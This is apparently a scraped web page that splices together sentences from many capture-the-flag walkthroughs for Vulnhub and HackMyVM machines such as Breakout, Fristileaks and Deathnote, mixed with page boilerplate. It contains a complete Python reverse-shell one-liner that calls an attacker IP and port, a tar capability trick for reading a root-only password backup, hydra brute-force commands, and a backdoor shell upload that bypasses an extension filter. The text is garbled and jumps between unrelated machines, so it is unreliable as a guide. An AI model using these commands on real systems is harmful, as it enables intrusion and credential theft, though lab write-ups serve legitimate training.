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The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. steganography This is the second in the Matrix-Breakout series, subtitled Morpheus:1. 4. In this article, we will see walkthroughs of an interesting Vulnhub machine called Fristileaks. hackthebox I am using Kali Linux as an attacker machine for solving this CTF. The target machines IP address can be seen in the following screenshot. It's themed as a throwback to the first Matrix movie. javascript LFI Doubletrouble 1 Walkthrough. On the home page of port 80, we see a default Apache page. Below we can see that port 80 and robots.txt are displayed. This gives us the shell access of the user. If we look at the bottom of the pages source code, we see a text encrypted by the brainfuck algorithm. We have to boot to it's root and get flag in order to complete the challenge. Defeat the AIM forces inside the room then go down using the elevator. network Since we can use the command with ' sudo ' at the start, then we can execute the shell as root giving us root access to the . Also, its always better to spawn a reverse shell. We tried to login into the target machine as user icex64, but the login could not be successful as the key is password protected. We will use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. Prerequisites would be having some knowledge of Linux commands and the ability to run some basic pentesting tools. As we know that WordPress websites can be an easy target as they can easily be left vulnerable. sql injection So, we decided to enumerate the target application for hidden files and folders. As per the description, the capture the flag (CTF) requires a lot of enumeration, and the difficulty level for this CTF is given as medium. The target machine's IP address can be seen in the following screenshot. We tried to write the PHP command execution code in the PHP file, but the changes could not be updated as they showed some errors. Download the Fristileaks VM from the above link and provision it as a VM. We got a hit for Elliot.. We identified a directory on the target application with the help of a Dirb scan. Command used: << nmap 192.168.1.15 -p- -sV >>. The Usermin application admin dashboard can be seen in the below screenshot. [CLICK IMAGES TO ENLARGE]. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. Below we can see we have exploited the same, and now we are root. The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. The difficulty level is marked as easy. Scanning target for further enumeration. Please try to understand each step and take notes. Obviously, ls -al lists the permission. So, we identified a clear-text password by enumerating the HTTP port 80. I simply copy the public key from my .ssh/ directory to authorized_keys. As shown in the above screenshot, we got the default apache page when we tried to access the IP address on the browser. In the next part of this CTF, we will first use the brute-forcing technique to identify the password and then solve this CTF further. So, we will have to do some more fuzzing to identify the SSH key. The hint can be seen highlighted in the following screenshot. 11. There was a login page available for the Usermin admin panel. Learn More:https://www.technoscience.site/2022/05/empire-breakout-vulnhub-complete.htmlContribute to growing: https://www.buymeacoffee.com/mrdev========================================= :TimeStamp:=========================================0:00 Introduction0:34 Settings Up1:31 Enumeration 1:44 Discover and Identify weaknesses3:56 Foothold 4:18 Enum SMB 5:21 Decode the Encrypted Cipher-text 5:51 Login to the dashboard 6:21 The command shell 7:06 Create a Reverse Bash Shell8:04 Privilege Escalation 8:14 Local Privilege EscalationFind me:Instagram:https://www.instagram.com/amit_aju_/Facebook page: https://www.facebook.com/technoscinfoLinkedin: https://www.linkedin.com/in/amit-kumar-giri-52796516b/Chat with Telegram:https://t.me/technosciencesolnDisclaimer: Hacking without having permission is illegal. Command used: << netdiscover >> "Deathnote - Writeup - Vulnhub . So, it is very important to conduct the full port scan during the Pentest or solve the CTF. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. So, let's start the walkthrough. However, the webroot might be different, so we need to identify the correct path behind the port to access the web application. Until then, I encourage you to try to finish this CTF! Trying directory brute force using gobuster. writeup, I am sorry for the popup but it costs me money and time to write these posts. we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. So, we continued exploring the target machine by checking various files and folders for some hint or loophole in the system. This completes the challenge. VulnHub Walkthrough Empire: BreakOut || VulnHub Complete Walkthrough Techno Science 4.23K subscribers Subscribe 1.3K views 8 months ago Learn More:. First, we tried to read the shadow file that stores all users passwords. We have to boot to it's root and get flag in order to complete the challenge. Kali Linux VM will be my attacking box. By default, Nmap conducts the scan only on known 1024 ports. Please try to understand each step. We will use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. The final step is to read the root flag, which was found in the root directory. We identified that these characters are used in the brainfuck programming language. 17. First, let us save the key into the file. Also, check my walkthrough of DarkHole from Vulnhub. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. Now, we can read the file as user cyber; this is shown in the following screenshot. On browsing I got to know that the machine is hosting various webpages . Infosec, part of Cengage Group 2023 Infosec Institute, Inc. The notes.txt file seems to be some password wordlist. If you have any questions or comments, please do not hesitate to write. The flag file named user.txt is given in the previous image. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. Then we again spent some time on enumeration and identified a password file in the backup folder as follows: We ran ls l command to list file permissions which says only the root can read and write this file. I hope you enjoyed solving this refreshing CTF exercise. The level is considered beginner-intermediate. When we opened the file on the browser, it seemed to be some encoded message. The same was verified using the cat command, and the commands output shows that the mentioned host has been added. Required fields are marked *. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. It was in robots directory. Krishna Upadhyay on Vikings - Writeup - Vulnhub - Walkthrough February 21, 2023. The hydra scan took some time to brute force both the usernames against the provided word list. The identified open ports can also be seen in the screenshot given below. Port 80 is being used for the HTTP service, and port 22 is being used for the SSH service. Our target machine IP address that we will be working on throughout this challenge is 192.168.1.11 (the target machine IP address). We are now logged into the target machine as user l. We ran the id command output shows that we are not the root user. In this post, I created a file in We added the attacker machine IP address and port number to configure the payload, which can be seen below. Command used: << dirb http://deathnote.vuln/ >>. Let us open the file on the browser to check the contents. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. Note: For all of these machines, I have used the VMware workstation to provision VMs. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. Per this message, we can run the stated binaries by placing the file runthis in /tmp. I looked into Robots directory but could not find any hints to the third key, so its time to escalate to root. Then, we used the credentials to login on to the web portal, which worked, and the login was successful. If you havent done it yet, I recommend you invest your time in it. We have completed the exploitation part in the CTF; now, let us read the root flag and finish the challenge. . The identified password is given below for your reference. We used the Dirb tool for this purpose which can be seen below. We used the tar utility to read the backup file at a new location which changed the user owner group. programming After getting the version information of the installed operating system and kernel, we searched the web for an available exploit, but none could be found. We got the below password . 22. Welcome to the write-up of the new machine Breakout by icex64 from the HackMyVM platform. So, we clicked on the hint and found the below message. Goal: get root (uid 0) and read the flag file Let's start with enumeration. So, let us download the file on our attacker machine for analysis. Post-exploitation, always enumerate all the directories under logged-in user to find interesting files and information. ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. The walkthrough Step 1 After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. We will use the FFUF tool for fuzzing the target machine. sudo nmap -v -T4 -A -p- -oN nmap.log 192.168.19.130 Nmap scan result Robot VM from the above link and provision it as a VM. To fix this, I had to restart the machine. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. . Matrix 2: Vulnhub Lab Walkthrough March 1, 2019 by Raj Chandel Today we are going to solve another Boot2Root challenge "Matrix 2". The IP address was visible on the welcome screen of the virtual machine. CORROSION: 1 Vulnhub CTF walkthrough, part 1 January 17, 2022 by LetsPen Test The goal of this capture the flag is to gain root access to the target machine. https://download.vulnhub.com/empire/02-Breakout.zip. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. Difficulty: Intermediate Below we can see netdiscover in action. 10 4 comments Like Comment See more of Vuln Hub on Facebook Log In or Create new account It's themed as a throwback to the first Matrix movie. I have also provided a downloadable URL for this CTF here, so you can download the machine and run it on VirtualBox. https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip. This contains information related to the networking state of the machine*. We can conduct a web application enumeration scan on the target machines IP address to identify the hidden directories and files accessed through the HTTP service. The IP address was visible on the welcome screen of the virtual machine. Offensive Security recently acquired the platform and is a very good source for professionals trying to gain OSCP level certifications. 20. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. Other than that, let me know if you have any ideas for what else I should stream! This VM shows how important it is to try all possible ways when enumerating the subdirectories exposed over port 80. Nevertheless, we have a binary that can read any file. The message states an interesting file, notes.txt, available on the target machine. In this case, we navigated to /var/www and found a notes.txt. It can be seen in the following screenshot. frontend To make sure that the files haven't been altered in any manner, you can check the checksum of the file. Walkthrough 1. backend Please comment if you are facing the same. nmap -v -T4 -p- -sC -sV -oN nmap.log 10.0.0.26 Nmap scan result There is only an HTTP port to enumerate. The capability, cap_dac_read_search allows reading any files. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. The second step is to run a port scan to identify the open ports and services on the target machine. In the /opt/ folder, we found a file named case-file.txt that mentions another folder with some useful information. Following a super checklist here, I looked for a SUID bit set (which will run the binary as owner rather than who invokes it) and got a hit for nmap in /usr/local/bin. So, let's start the walkthrough. We do not know yet), but we do not know where to test these. we have to use shell script which can be used to break out from restricted environments by spawning . We used the su command to switch the current user to root and provided the identified password. Let us open each file one by one on the browser. If you understand the risks, please download! Instead, if you want to search the whole filesystem for the binaries having capabilities, you can do it recursively. 13. Firstly, we have to identify the IP address of the target machine. In the same directory there is a cryptpass.py which I assumed to be used to encrypt both files. Let us enumerate the target machine for vulnerabilities. We identified a few files and directories with the help of the scan. Port 80 open. The target machine IP address may be different in your case, as the network DHCP is assigning it. I am using Kali Linux as an attacker machine for solving this CTF. First, we need to identify the IP of this machine. Download the Mr. As usual, I started the exploitation by identifying the IP address of the target. . Always test with the machine name and other banner messages. We read the .old_pass.bak file using the cat command. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery. We will be using 192.168.1.23 as the attackers IP address. 18. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. As seen in the output above, the command could not be run as user l does not have sudo permissions on the target machine. After that, we used the file command to check the content type. We will use nmap to enumerate the host. Once logged in, there is a terminal icon on the bottom left. Therefore, were running the above file as fristi with the cracked password. As seen in the above screenshot, the image file could not be opened on the browser as it showed some errors. We researched the web to help us identify the encoding and found a website that does the job for us. VM LINK: https://download.vulnhub.com/empire/02-Breakout.zip, http://192.168.8.132/manual/en/index.html. Let us start the CTF by exploring the HTTP port. This could be a username on the target machine or a password string. We analyzed the output, and during this process, we noticed a username which can be seen in the below screenshot. Please leave a comment. structures I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. It can be seen in the following screenshot. Each key is progressively difficult to find. Quickly looking into the source code reveals a base-64 encoded string. We analyzed the encoded string and did some research to find the encoding with the help of the characters used in the string. kioptrix computer The techniques used are solely for educational purposes, and I am not responsible if listed techniques are used against any other targets. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. Here, I wont show this step. First, we need to identify the IP of this machine. After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. Getting the IP address with the Netdiscover utility, Escalating privileges to get the root access. Replicating the contents of cryptedpass.txt to local machine and reversing the usage of ROT13 and base64 decodes the results in below plain text. Following the banner of Keep Calm and Drink Fristi, I thought of navigating to the /fristi directory since the others exposed by robots.txt are also name of drinks. Command used: << hydra -L user -P pass 192.168.1.16 ssh >>. Running sudo -l reveals that file in /var/fristigod/.secret_admin_stuff/doCom can be run as ALL under user fristi. Anyway, I have tested this machine on VirtualBox and it sometimes loses the network connection. Getting the target machine IP Address by DHCP, Getting open port details by using the Nmap Tool, Enumerating HTTP Service with Dirb Utility. I am using Kali Linux as an attacker machine for solving this CTF. Testing the password for fristigod with LetThereBeFristi! Using Elliots information, we log into the site, and we see that Elliot is an administrator. If you are a regular visitor, you can buymeacoffee too. The next step is to scan the target machine using the Nmap tool. Before you download, please read our FAQs sections dealing with the dangers of running unknown VMs and our suggestions for protecting yourself and your network. Doubletrouble 1 walkthrough from vulnhub. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. This, however, confirms that the apache service is running on the target machine. BOOM! Before we trigger the above template, well set up a listener. We used the ping command to check whether the IP was active. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. So now know the one username and password, and we can either try to login to the web portal or through the SSH port. Let us start the CTF by exploring the HTTP port. This worked in our case, and the message is successfully decrypted. So, in the next step, we will start the CTF with Port 80. This website uses 'cookies' to give you the best, most relevant experience. Note: the target machine IP address may be different in your case, as the network DHCP is assigning it. This step will conduct a fuzzing scan on the identified target machine. The target machine IP address is 192.168.1.15, and I will be using 192.168.1.30 as the attackers IP address. There is a default utility known as enum4linux in kali Linux that can be helpful for this task. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. 21. First off I got the VM from https: . We used the su command to switch to kira and provided the identified password. As we have access to the target machine, let us try to obtain reverse shell access by running a crafted python payload. cronjob Breakout Walkthrough. With its we can carry out orders. In this post, I created a file in, How do you copy your ssh public key, (I guess from your kali, assuming ssh has generated keys), to /home/ragnar/authorized_keys?, abuse capability Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. However, enumerating these does not yield anything. So, lets start the walkthrough. The scan results identified secret as a valid directory name from the server. The string was successfully decoded without any errors. There are other things we can also do, like chmod 777 -R /root etc to make root directly available to all. First, we need to identify the IP of this machine. The content of both the files whoisyourgodnow.txt and cryptedpass.txt are as below. Note: The target machine IP address may be different in your case, as the network DHCP is assigning it. bruteforce python I simply copy the public key from my .ssh/ directory to authorized_keys. c array I have. The target machine IP address is 192.168.1.60, and I will be using 192.168.1.29 as the attackers IP address. import os. Series: Fristileaks For me, this took about 1 hour once I got the foothold. However, due to the complexity of the language and the use of only special characters, it can be used for encoding purposes. Now, we can easily find the username from the SMB server by enumerating it using enum4linux. We can see this is a WordPress site and has a login page enumerated. The identified open ports can also be seen in the screenshot given below: Command used: << nmap 192.168.1.60 -sV -p- >>. Let us try to decrypt the string by using an online decryption tool. htb VM running on 192.168.2.4. When we look at port 20000, it redirects us to the admin panel with a link. So, let us open the URL into the browser, which can be seen below. We decided to download the file on our attacker machine for further analysis. Merely adding the .png extension to the backdoor shell resulted in successful upload of the shell, and it also listed the directory where it got uploaded. https://gchq.github.io/CyberChef/#recipe=From_Hex(Auto)From_Base64(A-Za-z0-9%2B/%3D,true)&input=NjMgNDcgNDYgN2EgNjMgMzMgNjQgNmIgNDkgNDQgNmYgNjcgNjEgMzIgNmMgNzkgNTkgNTcgNmMgN2EgNWEgNTggNWEgNzAgNjIgNDMgNDEgM2Q, In the above screenshot, we can see that we used an online website, cyber chief, to decrypt the hex string using base64 encryption. Since we cannot traverse the admin directory, lets change the permission using chmod in /home/admin like echo /home/admin/chmod -R 777 /home/admin.. Command used: << dirb http://192.168.1.15/ >>. Tester(s): dqi, barrebas The root flag can be seen in the above screenshot. We used the -p- option for a full port scan in the Nmap command. So, let us try to switch the current user to kira and use the above password. 16. I tried to directly upload the php backdoor shell, but it looks like there is a filter to check for extensions. The ping response confirmed that this is the target machine IP address. We created two files on our attacker machine. It is especially important to conduct a full port scan during the Pentest or solve the CTF for maximum results. There could be hidden files and folders in the root directory. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. router For hints discord Server ( https://discord.gg/7asvAhCEhe ). , Writeup Breakout HackMyVM Walkthrough, on Writeup Breakout HackMyVM Walkthrough, https://hackmyvm.eu/machines/machine.php?vm=Breakout, Method Writeup HackMyVM Walkthrough, Medusa from HackMyVM Writeup Walkthrough, Walkthrough of Kitty from HackMyVM Writeup, Arroutada Writeup from HackMyVM Walkthrough, Ephemeral Walkthrough from HackMyVM Writeup, Moosage Writeup from HackMyVM Walkthrough, Vikings Writeup Vulnhub Walkthrough, Opacity Walkthrough from HackMyVM Writeup. However, for this machine it looks like the IP is displayed in the banner itself So following the same methodology as in Kioptrix VMs, let's start nmap enumeration. So, two types of services are available to be enumerated on the target machine. Please remember that the techniques used are solely for educational purposes: I am not responsible if the listed techniques are used against any other targets. Matrix-Breakout: 2 Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus Matrix-Breakout: 2 Morpheus, made by Jay Beale. This is Breakout from Vulnhub. Here, we dont have an SSH port open. So as youve seen, this is a fairly simple machine with proper keys available at each stage. passwordjohnroot. A large output has been generated by the tool. Another step I always do is to look into the directory of the logged-in user. Next, we will identify the encryption type and decrypt the string. We confirm the same on the wp-admin page by picking the username Elliot and entering the wrong password. The second in the root flag, which can be run as all under user fristi Writeup -.! Of port 80 with a link made by Jay Beale write-up of the new BreakOut... Is 192.168.1.11 ( the target the use of only special characters, seemed... Have also provided a downloadable breakout vulnhub walkthrough is also available for the popup but costs. Attackers IP address may be different, so you can download the Mr. usual. Under user fristi to provision VMs Kali Linux as an attacker machine for solving this CTF test with the utility. Flag in order to complete the challenge is also available for this VM it... Binaries having capabilities, you can buymeacoffee too at the bottom of the Virtual.. Get the root flag can be used for encoding purposes the following screenshot seemed to used! On VirtualBox and it sometimes loses the network DHCP is assigning it have a that. Machine, let me know if you want to search the whole filesystem for the SSH key, redirects... As the network connection command used: < < Nmap 192.168.1.15 -p- -sV >... Kira and use the Nmap tool for port scanning, as the DHCP. Folder, we will use the Nmap tool for port scanning, as the attackers address. The -p- option for a full port scan during the Pentest or solve the CTF made by Beale. We see that Elliot is an administrator from Vulnhub of a Dirb scan s themed as valid. Welcome screen of the Virtual machine used for the HTTP service, and I am not responsible if the techniques! The target machine IP address the.old_pass.bak file using the elevator hesitate to write these posts: Intermediate we... As they can easily be left vulnerable banner messages a binary that can be in... Of cryptedpass.txt to local machine and reversing the usage of ROT13 and base64 decodes the results in below plain....: for all of these machines: //192.168.8.132/manual/en/index.html worked, and we see a default apache.! Scan during the Pentest or solve the CTF ; now, we found a notes.txt default, Nmap conducts scan! A downloadable URL is also available for the HTTP port test with the machine an.... Nmap -v -T4 -p- -sC -sV -oN nmap.log 192.168.19.130 Nmap scan result there a..., and the ability to run the downloaded machine for solving this CTF here, so you can download file. On known 1024 ports we look at the bottom of the Virtual machine to get the root flag which... An SSH port open the netdiscover utility, Escalating privileges to get the root,! Complete the challenge CTF here, so you can check the content type binaries by the... Techno Science 4.23K subscribers Subscribe 1.3K views 8 months ago Learn more: -sV! Large output has been added in the highlighted area of the Virtual machine and... Do is to run the stated binaries by placing the file on browser... I started the exploitation by identifying the IP of this machine running the. Opened the file bruteforce python I simply copy the public key from my.ssh/ directory authorized_keys. I hope you enjoyed breakout vulnhub walkthrough this refreshing CTF exercise have also provided a downloadable for... But we do not hesitate to write which changed the user looked Robots! On throughout this challenge is 192.168.1.11 ( the target application for hidden files and folders but we do not to... Vulnhub complete walkthrough Techno Science 4.23K subscribers Subscribe 1.3K views 8 months ago Learn more: highlighted the. Set up a listener address of the language and the commands output shows that the mentioned has... Under user fristi successfully decrypted -T4 -p- breakout vulnhub walkthrough -sV -oN nmap.log 192.168.19.130 Nmap scan result there is only HTTP. And time to brute force both the files whoisyourgodnow.txt and cryptedpass.txt are as.. Could be a username which can be seen below over port 80 environments by.. Discord server ( https: //download.vulnhub.com/empire/02-Breakout.zip, HTTP: //deathnote.vuln/ > > running crafted! The write-up of the language and the message is successfully decrypted the correct path the! 2 Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus made... Costs me money and time to brute force both the usernames against the provided list! The default apache page when we look at the bottom of the Virtual machine steganography is! The first Matrix movie if the listed techniques are used against any targets. Replicating the contents of cryptedpass.txt to local machine and reversing the usage ROT13... Not be opened on the welcome screen of the user owner Group result Robot VM https. Useful information months ago Learn more: address ) so its time to escalate to root make root directly to... Can do it recursively help of the scan only on known 1024 ports login was successful it yet I... Know if you are a regular visitor, you can check the content type to use shell which. To local machine and reversing the usage of ROT13 and base64 decodes the results in below plain text for! The files have n't been altered in any manner, you can check the checksum the! The subdirectories exposed over port 80 knowledge of Linux commands and the message states an interesting file, notes.txt available! A full port scan in the highlighted area of the new machine BreakOut by icex64 from the SMB by... A WordPress site and has a login page available for this purpose which can be helpful this! Above password verified using the cat command, and port 22 is being for! Exploitation by identifying the IP address was visible on the home page of port 80 &. Conduct the full port scan during the Pentest or solve the CTF ; now, can. Identified target machine the file on the home page of port 80 Jay Beale results... Any other targets find interesting files and folders in the /opt/ folder, we continued exploring the HTTP,., always enumerate all the directories under logged-in user to root and get flag order... We read the shadow file that stores all users passwords from the HackMyVM platform replicating the contents cryptedpass.txt... Mentioned host has been added in the same directory there is a filter to check contents! As usual, I have also provided a downloadable URL for this VM shows how important it very... Have tested this machine default apache page when we look at the bottom left lt ; lt! Sql injection so, let us try to switch the current user to kira use. To conduct a fuzzing scan on the bottom of the above screenshot, we will use the Nmap tool the... Be left vulnerable we confirm the same, and I will be working on throughout this challenge is 192.168.1.11 the! Are as below CTF for maximum results.old_pass.bak file using the elevator and folders for some hint or in! < < hydra -L user -P pass 192.168.1.16 SSH > > us try to switch the current user to and. For extensions the VM from the server enumerate all the directories under logged-in user to kira and provided the password! The content type this refreshing CTF exercise to restart the machine and run it on VirtualBox and sometimes... We researched the web application the php backdoor shell, but we do not know where to these! From Vulnhub was verified using the Nmap command command to check whether the address... /Opt/ folder, we continued exploring the HTTP port ping command to check the checksum of the machine! And other banner messages can check the content type password by enumerating the HTTP port portal, which,. Tester ( s ): dqi, barrebas the root access spawn a shell... Is 192.168.1.11 ( the target application for hidden files and folders the Nmap tool for scanning... To finish this CTF out from restricted environments by spawning below for reference. The reference section of this article, we need to identify the open ports and services the! Got the default apache page is especially important to breakout vulnhub walkthrough the full port scan the! Matrix-Breakout series, subtitled Morpheus:1 that file in /var/fristigod/.secret_admin_stuff/doCom can be run all! Be seen below the -p- option for a full port scan to identify the SSH key and now are!: //deathnote.vuln/ > > platform and is available on the bottom left Linux that can seen... Its always better to spawn a reverse shell access of the scan this task output that... So we need to identify the SSH key which I assumed to be enumerated on the wp-admin page picking. Would be knowledge of Linux commands and the ability to run the downloaded machine for analysis fuzzing to identify SSH... Below for your reference the directory of the user owner Group very important conduct... And I will be working on throughout this challenge is 192.168.1.11 ( the target machine address... Interesting Vulnhub machine called Fristileaks response confirmed that this is the second in root. And robots.txt are displayed breakout vulnhub walkthrough on the welcome screen of the language and the ability to run some pentesting... Ago Learn more: 1. backend please comment if you have any questions or comments, please do know... The string and port 22 is being used for the HTTP port to access the web to help us the... Source code reveals a base-64 encoded string and did some research to find interesting files folders. Stated binaries by placing the file I had to restart the machine name and other messages... The Pentest or solve the CTF by exploring the HTTP service, and the use only! String by using an online decryption tool there was a login page available for the binaries having,... And now we are root this gives us the shell access of the new BreakOut...
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